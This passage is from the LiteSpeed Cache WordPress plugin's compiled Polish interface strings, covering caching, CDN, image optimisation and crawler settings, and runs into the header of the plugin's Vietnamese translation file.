przypadku zmiany stanu zapasów.Wyczyść znacznik %sWyczyść wpisy pamięci podręcznej LiteSpeed ​​utworzone przez tę wtyczkęWyczyść wpisy pamięci podręcznej utworzone przez tę wtyczkę, z wyjątkiem pamięci podręcznej Critical CSS, Unique CSS i LQIPWyczyść tę stronęWyczyszczono %s adresów URLWyczyszczono wszystko!Wyczyszczono całą pamięć podręczną pomyślnie.Wyczyszczono ten blog!Wyczyszczono!Wysłano %1$s na serwer w chmurze, zaakceptowano %2$s.QUIC.cloudOpcje CDN QUIC.cloudPrzegląd stanu QUIC.cloud CDNSieć CDN QUIC.cloud <strong>nie jest dostępna</strong> dla użytkowników anonimowych (niepowiązanych).Sieć CDN QUIC.cloud jest obecnie <strong>całkowicie wyłączona</strong>.Integracja QUIC.cloud wyłączonaWłączona integracja QUIC.cloudIntegracja QUIC.cloud włączona z ograniczeniamiUsługi online QUIC.cloudStatystyki wykorzystania usługi QUIC.cloudQUIC.cloud zapewnia usługi CDN i optymalizacji online i nie jest wymagane. Możesz używać wielu funkcji tej wtyczki bez QUIC.cloud.Usługa optymalizacji obrazka QUIC.cloud wykonuje następujące czynności:Usługi online QUIC.cloud ulepszają Twoją witrynę w następujący sposób:Usługi optymalizacji stron QUIC.cloud rozwiązują problem nadmiaru stylów CSS i poprawiają komfort użytkowania strony podczas jej wczytywania, co może prowadzić do poprawy wyników szybkości wczytywania strony.Dostęp QUIC.cloud do interfejsu API REST WP wydaje się być zablokowany.Query stringi zawierające te parametry nie będą zapisywane w pamięci podręcznej.Oceń %1$s na %2$sPrzeczytaj dokumentację LiteSpeedZalecane jest wygenerowanie tokenu przy użyciu szablonu tokenu API Cloudflare „WordPress”.Zalecana wartość: 28800 sekund (8 godzin).Wykryj ponowniePonownie wykryto węzełID bazy danych REDISRedis napotkał fatalny błąd: %s (kod: %d)OdświeżOdśwież mapę robota indeksującegoOdśwież pamięć podręczną Gravatar przez crona.Odśwież status QUIC.cloudOdśwież statusOdśwież użycieOdśwież czas wczytywania stronyOdśwież wynik stronyWygeneruj ponownie i wyślij nowy raportPozostały dzienny limitUsuń adres URL CDNaUsuń czcionki GoogleUsuń znaczniki NoscriptUsuń oryginalne kopie zapasoweUsuń oryginalne kopie zapasowe obrazówUsuń integrację QUIC.cloud z tej witryny. Uwaga: dane QUIC.cloud zostaną zachowane, dzięki czemu będziesz mógł ponownie włączyć usługi w dowolnym momencie. Jeśli chcesz całkowicie usunąć swoją witrynę z QUIC.cloud, usuń najpierw domenę za pomocą kokpitu QUIC.cloud.Usuń query stringsUsuń ciągi zapytań z plików statycznychUsuń emoji WordPressaUsuń wszystkie poprzednie żądania / wyniki optymalizacji obrazu, przywróć ukończone optymalizacje i usuń wszystkie pliki optymalizacji.Usuń wszystkie wcześniejsze niedokończone żądania optymalizacji obrazu.Usuń symulację cookieUsuń z czarnej listyUsuń ciągi zapytań z wewnętrznych zasobów statycznych.Usunięto nieużywany CSS u użytkownikówKopie zapasowe zostały pomyślnie usunięte.Zamień %1$s z %2$s.RaportPodczas optymalizacji należy zażądać wersji WebP/AVIF oryginalnych obrazków.Żądania w kolejcePonowne skanowanie nowych miniaturekPomyślnie przeskanowano %d obrazków.Ponowne skanowanie przebiegło pomyślnie.Zresetowanie aktywacji %s powiodło się.Zresetuj wszystkie ustawieniaZresetuj ustawieniaPomyślnie zresetowano licznik optymalizacji obrazka.Zresetuj pozycjęPomyślnie zresetowano ustawienia.Zresetuj całą pamięć podręczną kodu operacjiZrestartowano zoptymalizowane dane pomyślnie.Zasoby wymienione tutaj zostaną skopiowane i zastąpione lokalnymi adresami URL.Responsywny element zastępczyResponsywny symbol zastępczy koloruResponsywny symbol zastępczy SVGElementy zastępcze obrazu responsywnego mogą pomóc w zmniejszeniu przetasowania układu podczas wczytywania obrazków.Przywróć ustawieniaPrzywracanie z kopii zapasowejPrzywrócono ustawienia z kopii zapasowej %1$sPrzywrócono oryginalny plik.Maksymalny wiek wersjiMaksymalna ilość rewizjiWersje nowsze niż ta liczba dni zostaną zachowane podczas czyszczenia wersji.Wykluczone roleSymulacja roliUruchom kolejkę %s ręcznieCzęstotliwość uruchamianiaUruchom kolejkę ręcznieCzęstotliwość uruchamiania jest ustawiana przez ustawienie Interwał między uruchomieniami.Ostatni czas uruchomienia robota indeksującegoUruchomionySKŁADNIA: alfanumeryczna i „_”. Bez spacji i z uwzględnieniem wielkości liter.SKŁADNIA: alfanumeryczna i „_”. Bez spacji i z uwzględnieniem wielkości liter. MUSI BYĆ UNIKATOWA W INNYCH APLIKACJACH SIECIOWYCH.Zapisz zmianyZapisuj dane tymczasowe w bazie danych tylko wtedy gdy %1$s wynosi %2$s.ZapisanoNie udało się zapisać opcji. IPv4 tylko dla %s.Zeskanuj wszystkie nowe niezoptymalizowane rozmiary miniatur obrazu i wyślij ponownie wymagane żądania optymalizacji obrazu.Zaplanowany czas czyszczeniaZaplanowane adresy URLWybierz "Wszystko", jeśli istnieją dynamiczne widgety połączone ze stanowiskami na stronach innych niż strony frontowe lub domowe.Wybierz poniżej opcję "Wyczyść przez".Wybierz tylko typy archiwów, które są aktualnie używane, pozostałe pozostają niezaznaczone.Wybierz, które strony zostaną automatycznie usunięte podczas publikowania / aktualizowania postów.Wybrane role zostaną wykluczone ze wszystkich optymalizacji.Wybrane role zostaną wykluczone z pamięci podręcznej.Selektory muszą istnieć w CSS. Klasy nadrzędne w HTML nie będą działać.Wyślij żądanie optymalizacjiWyślij ten raport do LiteSpeed. Odwołaj się do tego numeru raportu podczas publikowania na forum pomocy WordPressa.Wyślij do LiteSpeedWyślij na Twittera, aby otrzymać bonus %sOddzielne typy treści CCSSOddzielne identyfikatory URI pamięci podręcznej CCSSOsobne pliki krytycznego CSS zostaną wygenerowane dla ścieżek zawierających te wpisy.Podawać przestarzałeUdostępniaj oddzielną kopię pamięci podręcznej użytkownikom urządzeń mobilnych.Obsługuj wszystkie pliki CSS przez CDN. Będzie to miało wpływ na wszystkie pliki WP CSS w kolejce.Obsługuj wszystkie pliki JavaScript przez CDN. Będzie to miało wpływ na wszystkie pliki WP JavaScript w kolejce.Obsługuj wszystkie pliki graficzne przez CDN. Będzie to miało wpływ na wszystkie załączniki, znaczniki HTML %1$s i atrybuty CSS %2$s.Adres IP serweraLimit obciążenia serweraZmienna(e) serwera %s dostępne do nadpisania tego ustawienia.Ustaw konkretną szerokość i wysokość elementów obrazka, aby ograniczyć przesunięcia układu i usprawnić CLS (metryka podstawowych wskaźników internetowych).Ustaw, aby dodać %1$s do wszystkich reguł %2$s przed buforowaniem CSS, aby określić sposób wyświetlania krojów pisma podczas pobierania.Ustaw na %1$s, aby zabronić Heartbeat na %2$s.Konfigurowanie własnych nagłówkówUstawienia główneSkróć łańcuchy zapytań w dzienniku debugowania w celu zwiększenia czytelności.Wyświetl stan robotaLekko poprawia czas ładowania zamieniając obrazki na ich %s zoptymalizowane wersje.Adres URL witryny, który ma być obsługiwany przez CDN. Zaczynający się od %1$s. Na przykład %2$s.Witryna nie została rozpoznana. QUIC.cloud został automatycznie wyłączona. Proszę ponownie aktywować konto QUIC.cloud.Lista mapy witrynyMapa witryny ogółemMapa witryny została pomyślnie wyczyszczonaMapa witryny utworzona pomyślnie: %d elementówRozmiarLista rozmiarów w kolejce czeka na cronaMniejszy niżLicznik optymalizacji miękkiego resetuNiektóre zoptymalizowane pliki obrazków utraciły ważność i zostały usunięte.Komentarze zawierające spamOkreśl obraz base64, który będzie używany jako symbol zastępczy podczas ładowania innych obrazów.Określ akcję AJAX w POST/GET oraz liczbę sekund, przez które żądanie będzie buforowane, rozdzielając je spacją.Podaj kod statusu HTTP i liczbę sekund, przez które strona ma być buforowana, rozdzielając je spacją.Określ plik SVG, który będzie używany jako symbol zastępczy podczas generowania lokalnego.Określ krytyczne reguły CSS w przypadku treści ponadgrupowych po włączeniu %s.Wpisz jak długo w sekundach robot indeksujący powinien inicjować ponowne indeksowanie całej mapy strony.Określ, jak długo, w sekundach, pliki Gravatar są przechowywane w pamięci podręcznej.Określ, jak długo, w sekundach, połączenia REST są buforowane.Określ jak długo w sekundach, kanały mają być przechowywane w pamięci podręcznej.Określ, jak długo, w sekundach, prywatne strony będą przechowywane w pamięci podręcznej.Określ, jak długo, w sekundach, publiczne strony będą przechowywane w pamięci podręcznej.Określ, jak długo (w sekundach) będzie buforowana strona główna.Określić interwał heartbeat w %s sekundach.Określ maksymalny rozmiar pliku dziennika.Określ liczbę ostatnich wersji, które mają zostać zachowane podczas czyszczenia wersji.Określ hasło używane podczas łączenia.Określ jakość podczas generowania LQIP.Określ responsywny kolor symbolu zastępczego SVG.Określ czas czyszczenia listy "%s".Określ, które atrybuty elementów HTML zostaną zastąpione mapowaniem CDN.Określ, które atrybuty elementu zostaną zastąpione przez WebP/AVIF.Przyspiesz jeszcze bardziej swoją witrynę WordPress dzięki <strong>usługom online QUIC.cloud i CDN</strong>.Przyspiesz jeszcze bardziej swoją witrynę WordPress dzięki usługom online i CDN QUIC.cloud.Podziel się miłością i zyskaj %s kredytów do wykorzystania w naszych usługach online QUIC.cloud.Standardowe ustawienia wstępneRozpoczęto indeksowanie asynchroniczneUruchomiono asynchroniczne żądanie optymalizacji obrazkaStatyczne odnośniki plików do zastąpienia przez odnośniki CDN.StanPrzestań ładować emoji z wordpress.org. Zamiast tego będą się wyświetlały emoji z przeglądarki.Optymalizacja pamięci masowejPrzechowuj Gravatar lokalnie.Zapisuj dane tymczasoweWyślij zgłoszeniePomyślnie zindeksowanoPodsumowanieForum wsparciaPewnie, chętnie napiszę recenzję!ZamieńWróć do używania zoptymalizowanych obrazków w swojej witrynieObrazki zamieniono pomyślnie.Przełączono na zoptymalizowany plik.Pomyślnie zsynchronizowano status QUIC.cloud.Synchronizacja limitu kredytowego z serwerem w chmurze przebiegła pomyślnie.Synchronizuj dane z chmuryInformacje systemoweTTLTabelaTagTymczasowo pomiń pamięć podręczną Cloudflare. Pozwala to na obserwowanie zmian w serwerze źródłowym w czasie rzeczywistym.Archiwum terminu taksonomii (zawiera kategorie, tagi i taksonomie)TestowanieDziękujemy za używanie wtyczki LiteSpeed Cache!Opcja adresu IP administratora spowoduje generowanie komunikatów dziennika tylko w odpowiedzi na żądania pochodzące z adresów IP administratora wymienionych poniżej.Wtyczka  LiteSpeed Cache jest używania do zapisywania stron w pamięci podręcznej -  prosty sposób na przyspieszenie twojej strony.Adresy URL (jedna na linię) zostaną automatycznie usunięte w czasie ustawionym w opcji "%s".Adresy URL zostaną porównane ze zmienną serwera REQUEST_URI.Usługa Viewport Images wykrywa, które obrazki pojawiają się nad linią zagięcia i wyklucza je z leniwego wczytywania.Powyższe kody jednorazowe zostaną automatycznie przekonwertowane na ESI.Czas w sekundach, przez który pliki będą przechowywane w pamięci podręcznej przeglądarki przed wygaśnięciem.Pamięć podręczna musi rozróżnić, kto jest zalogowany do witryny WordPress, aby poprawnie zapisywać buforowanie.Walidacja wywołania zwrotnego do Twojej domeny nie powiodła się z powodu niezgodności skrótu.Walidacja wywołania zwrotnego do Twojej domeny nie powiodła się. Upewnij się, że żadna zapora nie blokuje naszych serwerów.Walidacja wywołania zwrotnego do Twojej domeny nie powiodła się. Upewnij się, że żadna zapora nie blokuje naszych serwerów. Kod odpowiedzi: Zestaw cookie ustawiony tutaj będzie używany do tej instalacji WordPress.Funkcja indeksująca nie jest włączona na serwerze LiteSpeed. Skonsultuj się z administratorem serwera lub dostawcą hostingu.Robot indeksujący użyje Twojej mapy witryny XML lub indeksu mapy witryny. Wpisz tutaj pełny adres URL swojej mapy witryny.Obecny serwer jest mocno obciążony.Baza danych jest aktualizowana w tle od %s. Ten komunikat zniknie po zakończeniu aktualizacji.Domyślnym ciastkiem logowania jest %s.Raport środowiska zawiera szczegółowe informacje o konfiguracji WordPress.Poniższe opcje są zaznaczone, ale nie są dostępne do edycji na stronie ustawień.Ustawienie jakości kompresji obrazka w WordPressie na 100.Lista obrazków jest pusta.Najnowszy plik danych toLista zostanie scalona ze zdefiniowanymi wcześniej znacznikami w lokalnym pliku danych.Maksymalne dozwolone obciążenie serwera podczas indeksowania. Liczba wątków robota przeszukiwacza będzie aktywnie zmniejszana do czasu, gdy średni poziom obciążenia serwera spadnie poniżej tego limitu. Jeśli nie można tego osiągnąć jednym pojedynczym wątkiem, bieżący robot indeksujący zostanie zakończony.Administrator sieci zaznaczył wszystkie ustawienia głównej strony dla wszystkich podstron.Możesz tutaj nadpisać ustawienia administratora sieci.Następne kompletne indeksowanie mapy witryny rozpocznie się zaKolejka jest przetwarzana asynchronicznie. Może to zająć trochę czasu.Selektor musi istnieć w CSS. Klasy nadrzędne w HTML nie będą działać.Serwer ustali, czy użytkownik jest zalogowany, na podstawie istnienia tego pliku ciasteczka.Ta witryna nie jest prawidłowym aliasem w domenie QUIC.cloud.Witryna nie jest zarejestrowana na QUIC.cloud.Użytkownik o identyfikatorze %s ma dostęp do edytora, co nie jest dozwolone w przypadku symulatora roli.Inna instancja WordPressa jest zainstalowana (NIE MULTISTRONA) jest w %sNa %s jest zainstalowany WordPress.Kolejka nie została jeszcze uruchomiona.Kolejka nie jest jeszcze pobrana. Informacje o kolejce: %s.Obrazy te nie wygenerują LQIP.Te opcje są dostępne tylko z LiteSpeed Enterprise Web Server lub QUIC.cloud CDN.Te ustawienia będą zrozumiałe dla ZAAWANSOWANYCH UŻYTKOWNIKÓW.Ta czynność powinna być wykonywana wyłącznie wtedy, gdy cache nie działa prawidłowo.To może być również predefiniowane w %2$s przy użyciu stałych %1$s, przy czym to ustawienie ma priorytet.Może poprawić czas ładowania strony redukując wczesne zapytania HTTP.Może to poprawić jakość, ale może skutkować większymi obrazami niż kompresja stratna.Może to poprawić szybkość wczytywania strony.To może zwiększyć szybkość twojej strony w serwisach takich jak Pingdom, GTmetrix i PageSpeed.Dzięki temu początkowy ekran strony może zostać wyświetlony w całości bez żadnych opóźnień.To jest nieodwracalne.To sprawdzi kompatybilność aby umożliwić włączenie pamięci podręcznej dla wszystkich stron.Ten preset o niskim stopniu ryzyka wprowadza podstawowe optymalizacje pod kątem szybkości i doświadczenia użytkownika. Odpowiedni dla początkujących entuzjastów.To może spowodować duże obciążenie na Twoim serwerze.To wiadomość informuje o tym, że wtyczka została zainstalowana przed administratora Twojego serwera.Jest to bezpieczny preset, odpowiedni dla wszystkich stron internetowych. Dobry dla nowicjuszy, prostych stron internetowych lub rozwoju ukierunkowanym na pamięć podręczną.Opcja ta może pomóc skorygować różnice w pamięci podręcznej dla niektórych zaawansowanych użytkowników urządzeń mobilnych i tabletów.Opcja ta pozwala na maksymalną optymalizację dla użytkowników korzystających z trybu gościa.Ta opcja jest pomijana, ponieważ opcja %1$s jest równa %2$s.Ta opcja jest pomijana ze względu na opcję %s.Opcja ta może spowodować błąd JS lub problemy z układem na stronach front-endowych z niektórymi motywami/wtyczkami.Ta opcja automatycznie ominie opcję %s.Ta opcja usunie wszystkie znaczniki %s z kodu HTML.Ten preset prawie na pewno będzie wymagał testów i wykluczeń niektórych plików CSS, JS i Lazy Loadowanych obrazków. Zwróć szczególną uwagę na loga oraz obrazy sliderów oparte na HTML.To ustawienie jest dobre dla większości witryn i mało prawdopodobne, aby powodowało konflikty. Wszelkie konflikty CSS lub JS można rozwiązać za pomocą narzędzi Optymalizacja strony > Strojenie.Ten preset może działać od ręki dla wielu stron, ale upewnij się, że go przetestujesz! Niektóre wykluczenia CSS lub JS mogą być konieczne w Optymalizacja Strony > Dostosowywanie.Ten proces jest automatyczny.To ustawienie jest %1$s dla pewnych kwalifikujących się żądań z powodu %2$s!To ustawienie jest przydatne dla tych, którzy mają wiele aplikacji internetowych dla tej samej domeny.To ustawienie edytuje plik .htaccess.To ustawienie spowoduje ponowne wygenerowanie listy robotów indeksujących i wyczyszczenie listy wyłączonych!Ta strona korzysta z buforowania w celu przyspieszenia czasu reakcji i lepszego doświadczenia użytkownika. Buforowanie potencjalnie przechowuje duplikat każdej strony internetowej wyświetlanej w tej witrynie. Wszystkie pliki pamięci podręcznej są tymczasowe i nigdy nie są dostępne dla osób trzecich, z wyjątkiem sytuacji, gdy jest to konieczne do uzyskania pomocy technicznej od dostawcy wtyczki pamięci podręcznej. Pliki pamięci podręcznej wygasają zgodnie z harmonogramem ustalonym przez administratora witryny, ale mogą zostać łatwo usunięte przez administratora przed ich naturalnym wygaśnięciem, jeśli będzie to konieczne. Możemy korzystać z usług QUIC.cloud w celu tymczasowego przetwarzania i buforowania Twoich danych.Spowoduje to wyczyszczenie tylko pierwszej stronySpowoduje to wyczyszczenie tylko stronSpowoduje to również dodanie wstępnego połączenia z krojami pisma Google, co umożliwi wcześniejsze nawiązanie połączenia.Spowoduje to wykonanie kopii zapasowej aktualnych ustawień i zastąpienie ich presetem %1$s. Czy chcesz kontynuować?To wyczyści WSZYSTKO w pamięci podręcznej.Spowoduje to usunięcie wszystkich zbuforowanych plików gravatarSpowoduje to usunięcie wszystkich wygenerowanych krytycznych plików CSSSpowoduje to usunięcie wszystkich plików LQIP elementów zastępczych  dla wygenerowanych obrazówSpowoduje to usunięcie wszystkich wygenerowanych unikalnych plików CSSSpowoduje to usunięcie wszystkich zlokalizowanych zasobówSpowoduje to wyłączenie funkcji LSCache i wszystkich funkcji optymalizacji dla celów debugowania.To wyłączy stronę ustawień na wszystkich podstronach.Spowoduje to usunięcie nieużywanych arkuszy CSS z każdej strony połączonego pliku.Spowoduje to włączenie funkcji cron dla robota indeksującego.Spowoduje to wyeksportowanie wszystkich bieżących ustawień LiteSpeed ​​Cache i zapisanie ich w pliku.Spowoduje to wygenerowanie dodatkowych żądań do serwera, co zwiększy obciążenie serwera.Spowoduje to wygenerowanie symbolu zastępczego o takich samych wymiarach jak obrazek, jeśli ma atrybuty szerokości i wysokości.Spowoduje to zaimportowanie ustawień z pliku i zastąpienie wszystkich bieżących ustawień pamięci podręcznej LiteSpeed.Zwiększy to rozmiar plików zoptymalizowanych.Spowoduje to wstawienie asynchronicznej biblioteki CSS w celu uniknięcia blokowania renderowania.Spowoduje to usunięcie tylko wszystkich zminimalizowanych/połączonych wpisów CSS/JSSpowoduje to przywrócenie wszystkich ustawień domyślnych.Spowoduje to zresetowanie %1$s. Jeśli zmieniłeś ustawienia WebP/AVIF i chcesz wygenerować %2$s dla wcześniej zoptymalizowanych obrazków, użyj tej akcji.Przywróci to ustawienia zapasowe utworzone %1$s przed zastosowaniem presetu %2$s. Wszelkie zmiany dokonane od tego czasu zostaną utracone. Czy chcesz kontynuować?Aby przeszukać konkretny plik ciasteczka, wprowadź nazwę pliku ciasteczka i wartości, które chcesz przeszukać. Wartości powinny być po jednej na wiersz. Zostanie utworzony jeden indeksujący na wartość pliku ciasteczka, na symulowaną rolę.Aby indeksować witrynę jako zalogowany użytkownik, wprowadź identyfikatory użytkowników, które mają zostać symulowane.Aby zdefiniować niestandardowy czas życia (TTL) dla identyfikatora URI, należy na końcu identyfikatora URI dodać spację i wartość TTL.Aby wykonać dopasowanie typu exact match, dodaj symbol '$' na końcu adresu URL.Aby włączyć następującą funkcjonalność, należy włączyć Cloudflare API w ustawieniach CDN.Aby wykluczyć %1$s, wpisz %2$s.Aby wygenerować odnośnik bez hasła umożliwiający dostęp do zespołu wsparcia LiteSpeed, musisz zainstalować %s.Aby przyznać dostęp do konta wp-admin zespołowi pomocy technicznej LiteSpeed, wygeneruj odnośnik bez hasła dla aktualnie zalogowanego użytkownika. Odnośnik zostanie wysłany wraz z raportem.Aby mieć pewność, że nasz serwer będzie mógł komunikować się z Twoim serwerem bez żadnych problemów i wszystko będzie działać prawidłowo, w przypadku kilku pierwszych żądań liczba grup obrazków dozwolonych w pojedynczym żądaniu jest ograniczona.Aby zarządzać opcjami QUIC.cloud, przejdź do Kokpitu QUIC.cloud.Aby zarządzać opcjami QUIC.cloud, przejdź do portalu swojego dostawcy hostingu.Aby zarządzać opcjami QUIC.cloud, skontaktuj się ze swoim dostawcą hostingu.Aby dopasować początek, dodaj %s na początku elementu.Aby zapobiec buforowaniu %s, wprowadź je tutaj.Aby nie dopuścić do zapełnienia dysku, ustawienie to powinno być wyłączone, gdy wszystko działa.Aby losowo wybrać nazwę hosta CDN, zdefiniuj wiele nazw hostów dla tych samych zasobów.Aby przetestować ten koszyk, zajrzyj do <a %s>FAQ</a>.Aby korzystać z funkcji buforowania, musisz posiadać serwer WWW LiteSpeed ​​lub używać QUIC.cloud CDN.NarzędzieNarzędziaŁącznieCałkowita redukcjaCałkowite użycieŁącznie zoptymalizowane obrazki w tym miesiącuTrackbacki/PingbackiKomentarze w koszuUsunięte postyWypróbuj wersję GitHubTuningTuning UstawieńWyłączWłączWłączenie buforowania publicznych stron dla zalogowanych użytkowników oraz obsługa paska administratora i formularza komentarza za pomocą bloków ESI. Te dwa bloki zostaną odłączone, chyba że zostanie to włączone poniżej.Włącz, aby kontrolować Heartbeat w edytorze zaplecza.Włącz, aby kontrolować Heartbeat w zapleczu.Włącz, aby kontrolować Heartbeat we front-endzie.Włącz automatyczne aktualizacjeWłącz tę opcję, aby LiteSpeed ​​Cache aktualizowało się automatycznie, gdy tylko zostanie wydana nowa wersja. Jeśli wyłączone, aktualizuj ręcznie jak zwykle.Włącz tę opcję, aby automatycznie wyświetlać najnowsze wiadomości, w tym hotfixy, nowe wersje, dostępne wersje beta, promocje.Podgląd tweetaTweetnij toWbudowany UCSSLista dozwolonych selektorów UCSSWyklucza URI UCSSWykluczone URIŚcieżki URI zawierające te ciągi NIE będą buforowane jako publiczne.Adres URLWyszukiwanie adresu URLLista adresów URL w kolejce %s oczekująca na cronNie można automatycznie dodać %1$s jako aliasu domeny dla głównej domeny %2$s z powodu potencjalnego konfliktu CDN.Nie można automatycznie dodać %1$s jako aliasu domeny dla głównej domeny %2$s.Unikatowy CSSNieznany błądAktualizuj teraz %sUlepszenieAktualizacja przebiegła pomyślnie.UżycieUżyj %1$s w %2$s, aby zaznaczyć, że ten plik cookie nie został ustawiony.Użyj %1$s, aby ominąć UCSS dla stron, których rodzajem strony jest %2$s.Użyj %1$s, aby pominąć zdalne sprawdzanie wymiarów obrazka, gdy %2$s jest WŁĄCZONE.Użyj %1$s, aby wygenerować pojedynczy UCSS dla stron, których rodzajem strony jest %2$s, podczas gdy inne rodzaje stron nadal są przypisane do adresu URL.Użyj funkcjonalności API %s.Użyj mapowania CDNUżyj ustawień administratora sieciUżyj zoptymalizowanych plikówUżyj oryginalnych plikówUżyj głównych ustawień stronyUżyj usługi generatora QUIC.cloud LQIP (Obraz zastępczy niskiej jakości), aby uzyskać responsywne podglądy obrazków podczas wczytywania.Użyj usługi online QUIC.cloud do generowania kluczowych arkuszy CSS i asynchronicznego wczytywania pozostałych arkuszy CSS.Użyj usługi online QUIC.cloud do generowania unikatowego CSS.Użyj biblioteki Web Font Loader, aby ładować czcionki Google asynchronicznie, pozostawiając inne CSS w stanie nienaruszonym.Użyj oficjalnego presetu zaprojektowanego przez LiteSpeed, aby skonfigurować swoją stronę jednym kliknięciem. Wypróbuj podstawowe buforowanie bez ryzyka, ekstremalną optymalizację lub coś pomiędzy.Użyj funkcjonalności zewnętrznej pamięci podręcznej obiektów.Używaj połączeń keep-alive, aby przyspieszyć operacje w pamięci podręcznej.Użyj najnowszego zatwierdzenia GitHub DevUżyj najnowszego zatwierdzenia GitHub Dev/MasterUżyj najnowszego zatwierdzenia GitHub MasterUżyj najnowszej wersji z WordPress.orgUżywaj oryginalnych obrazków (niezoptymalizowanych) na swojej witrynieUżyj formatu %1$s lub %2$s (element opcjonalny)Ta sekcja służy do przełączania wersji wtyczki. Aby przetestować beta GitHub commit, wpisz adres URL commit w polu poniżej.Przydatne w przypadku obrazków umieszczanych w górnej części strony, które powodują CLS (metryka podstawowych wskaźników internetowych).Nazwa użytkownikaUżywanie zoptymalizowanej wersji pliku. VPIZakres wartościZmienne %s zostaną zastąpione skonfigurowanym kolorem tła.Zmienne %s zostaną zastąpione odpowiednimi właściwościami obrazka.Różne pliki ciasteczkaGrupa zmiennaZróżnicowane dla mini koszykaZobacz szczegóły %1$s w wersji %2$sZobacz .htaccessWyświetl stronę przed zastosowaniem cacheZobacz stronę przed optymalizacjąObrazek rzutniGenerowanie obrazka widokuObrazki rzutniObrazek rzutni CronOdwiedź forum pomocy LSCWPOdwiedź swoją stronę będąc wylogowanym.OSTRZEŻENIEUWAGA: Plik cookie logowania .htaccess i plik cookie logowania do bazy danych nie są zgodne.OczekujeCzekanie na indeksowanieChcesz połączyć się z innymi użytkownikami LiteSpeed?Zobacz status robota ideksującegoJesteśmy dobrzy. Żadna tabela nie używa silnika MyISAM.Pracujemy ciężko, aby ulepszyć Twoje doświadczenie z usługą online. Usługa będzie niedostępna podczas naszych prac. Przepraszamy za wszelkie niedogodności.Plik WebP zmniejszony o %1$s (%2$s)WebP zapisane %sAtrybut WebP/AVIF do zastąpieniaWebP/AVIF dla dodatkowego ustawienia srcWitamy w LiteSpeedCzym jest grupa?Co to jest grupa obrazków?Gdy użytkownik najedzie kursorem na odnośnik strony, wstępnie wczyta tę stronę. Przyspieszy to wizytę na tym odnośniku.Po wyłączeniu pamięci podręcznej wszystkie wpisy z pamięci podręcznej dla tej witryny zostaną usunięte.Po włączeniu tej opcji pamięć podręczna zostanie automatycznie oczyszczona po uaktualnieniu dowolnej wtyczki, motywu lub WordPressa.Podczas minimalizowania kodu HTML nie należy usuwać komentarzy pasujących do określonego wzorca.Podczas zmiany formatu naciśnij %1$s lub %2$s, aby zastosować nowy wybór do wcześniej zoptymalizowanych obrazków.Po włączeniu tej opcji %s kroje pisma Google będą wczytywane asynchronicznie.Użycie funkcji leniwego wczytywania spowoduje opóźnienie wczytywania wszystkich obrazków na stronie.Kto powinien używać tego presetu?Wildcard %1$s wspierany (dopasuj zero lub więcej znaków). na przykład aby dopasować %2$s i %3$s, użyj %4$s.Obsługiwany jest symbol wieloznaczny %s.W przypadku ESI (Edge Side Includes) strony mogą być wyświetlane z pamięci podręcznej dla zalogowanych użytkowników.Po włączeniu QUIC.cloud CDN nadal możesz widzieć nagłówki pamięci podręcznej z lokalnego serwera.Ustawienia WooCommerceKontrola jakości obrazka WordPressInterwał ważności WordPressa wynosi %s sekund.WpW: Prywatna pamięć podręczna vs. Publiczna pamięć podręcznaRoczne archiwumObecnie korzystasz z usług jako anonimowy użytkownik. Aby zarządzać opcjami QUIC.cloud, użyj poniższego przycisku, aby utworzyć konto i połączyć się z Kokpitem QUIC.cloud.Możesz po prostu wpisać część domeny.Tutaj możesz wymienić różne pliki ciasteczka stron trzecich.Możesz szybko przełączać się między używaniem oryginalnych (niezoptymalizowanych wersji) i zoptymalizowanych plików graficznych. Będzie to miało wpływ na wszystkie obrazki na Twojej witrynie internetowej, zarówno zwykłe, jak i webp, jeśli są dostępne.Możesz zamówić maksymalnie %s obrazków na raz.Możesz włączyć krótkie kody w blokach ESI.Możesz użyć tego kodu %1$s w %2$s aby określić ścieżkę do pliku htaccess.Nie możesz usunąć tej strefy DNS, ponieważ jest ona nadal używana. Zaktualizuj serwery nazw domeny, a następnie spróbuj ponownie usunąć tę strefę, w przeciwnym razie Twoja witryna stanie się niedostępna.Masz obrazki czekające na pobranie. Poczekaj na zakończenie automatycznego pobierania lub pobierz je ręcznie teraz.Masz za dużo żądanych obrazków. Spróbuj ponownie za kilka minut.Wykorzystałeś cały dzienny limit na dziś.Wykorzystałeś cały limit usług bieżących w tym miesiącu.Właśnie odblokowałeś promocję od QUIC.cloud!Aby zmierzyć czas wczytywania strony, musisz używać jednego z poniższych produktów:Musisz ustawić %1$s na %2$s przed użyciem tej funkcji.Musisz ustawić %s przed użyciem tej funkcji.Najpierw musisz aktywować QC.Najpierw musisz ustawić %1$s. Użyj polecenia %2$s, aby to ustawić.Przed użyciem robota indeksującego musisz najpierw ustawić %s w UstawieniachAby uzyskać najlepsze rezultaty, należy włączyć %s i zakończyć generowanie plików WebP.Aby uzyskać najlepsze rezultaty, należy włączyć %s.Po usunięciu kopii zapasowych nie będzie można przywrócić optymalizacji!Aby korzystać z usług online, musisz ukończyć konfigurację %s.Twój adres IP lub nazwa hosta %s.Twój klucz/token API służy do dostępu do %s interfejsów API.Twój adres E-Mail na %s.Twoje IPTwój wniosek oczekuje na zatwierdzenie.Twoja domena została wykluczona z naszych usług z powodu wcześniejszego naruszenia zasad.Twój domain_key został tymczasowo umieszczony na czarnej liście, aby zapobiec nadużyciom. Możesz skontaktować się z pomocą techniczną w QUIC.cloud, aby dowiedzieć się więcej.Twój adres IP serweraTwoja witryna jest podłączona i gotowa do korzystania z usług online QUIC.cloud.Twoja witryna jest połączona i korzysta z usług online QUIC.cloud jako <strong>anonimowy użytkownik</strong>. Funkcja CDN i niektóre funkcje usług optymalizacji nie są dostępne dla użytkowników anonimowych. Połącz się z QUIC.cloud, aby korzystać z CDN i wszystkich dostępnych funkcji usług online.Zero lubkategorieciasteczkanp. Użyj %1$s lub %2$s.https://www.litespeedtech.comhttps://www.litespeedtech.com/products/cache-plugins/wordpress-accelerationwłaśnieniezależnie od tego gdzie mieszkają.pikselipodaj więcej informacji tutaj, aby pomóc zespołowi LiteSpeed w debugowaniu.terazuruchomionesekundtagiautomatycznie wykryty adres IP może nie być dokładny, jeśli posiadasz dodatkowy zestaw adresów IP wychodzących lub jeśli na serwerze skonfigurowano wiele adresów IP.nieznanyuser agencilitespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-vi.po000064400000667444151031165260020011 0ustar00# Translation of Plugins - LiteSpeed Cache - Stable (latest release) in Vietnamese
# This file is distributed under the same license as the Plugins - LiteSpeed Cache - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-06-19 15:56:20+0000\n"
"MIME-Version: 1.0\n"
